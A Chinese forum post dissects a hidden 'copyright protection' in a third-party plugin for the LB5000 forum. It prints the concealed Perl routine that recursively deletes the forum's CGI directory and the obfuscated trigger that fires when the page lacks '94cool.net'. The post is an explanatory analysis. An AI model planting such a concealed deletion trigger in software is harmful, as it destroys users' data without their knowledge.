返回列表 回复 发帖

BigJim的拳王程序的版权保护技术的详细解析


#本文并不是想改BigJim的版权
#纯粹的技术研究工作
#这些研究成果给大家一起分享
#觉得不错请鼓掌

我听说如果改变版权,整个LB5000的CGI目录会被清空。
准备试试~
动手前,我想应该有两种可能性
是删除版权的变量$fightcopyright会破坏论坛,
可能我改变版权人的名字会破坏论坛。
经过试验,只要改变$fightcopyright的版权就会破坏论坛。
为什么?
我先分析分析删除目录的程序代码,还好程序不长,
在这里,606行的:
  1. sub upmewinner
  2. {
  3. my $uptarget = shift;
  4. return 1 if (unlink($uptarget));
  5. return 0 unless (opendir(DIRS, $uptarget));
  6. my @dirlist = readdir(DIRS);
  7. closedir(DIRS);
  8. my $upstatus = 1;
  9. foreach (@dirlist)
  10. {
  11. next if ($_ eq "." || $_ eq "..");
  12. $delstatus = 0 unless (&upmewinner($uptarget . "/" . $_));
  13. }
  14. return 0 unless($upstatus);
  15. return 0 unless(rmdir($uptarget));
  16. return 1;
  17. }
复制代码
这是清目录的!
赶快寻找&upmewinner,就是这句判断:
  1. &upmewinner($lbdir) if (($output !~ /$ttt1$ttt2$ttt3/i) && $ttt1 && $ttt2 && $ttt3);
复制代码
如果变量$output(就是HTML输出)里找不到$ttt1$ttt2$ttt3就执行
子程序upmewinner,传送$lbdir,你的论坛就……
继续找,看看$ttt1,$ttt2,$ttt3是什么东西。
$ttt1 = 94;
#简单,不说了
$ttt2 = "co" . "ol";
#变量$ttt2的值为“co”,不过追加“ol”到变量,那么就是“cool”
$ttt3 = "." . "ne" . "t";
#变量$ttt2的值为“.”,追加“ne”再次追加“t”,就是“.net”
$ttt1$ttt2$ttt3连接就是94cool.net
如果程序的输出页面中没有“94cool.net”程序就调用&upmewinner($lbdir)清空论坛。
问题已经解决!

版权保护就这么简单~~
希望对大家学习技术方面有所帮助

                     我是一个呼吸着现在的空气而生活在过去的人
               这样的注定孤独,孤独的身处闹市却犹如置身于荒漠
                                     我已习惯了孤独,爱上孤独
                                 他让我看清了自我,还原了自我
                             让我再静静的沉思中得到快乐和满足
                                   再孤独的世界里我一遍又一遍
                                   不厌其烦的改写着自己的过去
                                             延伸到现在与未来
                                       然而那只是泡沫般的美梦
                                 产生的时刻又伴随着破灭的到来
                         在灰飞烟灭的瞬间我看到的是过程的美丽
                                      而不是结果的悲哀。。。
返回列表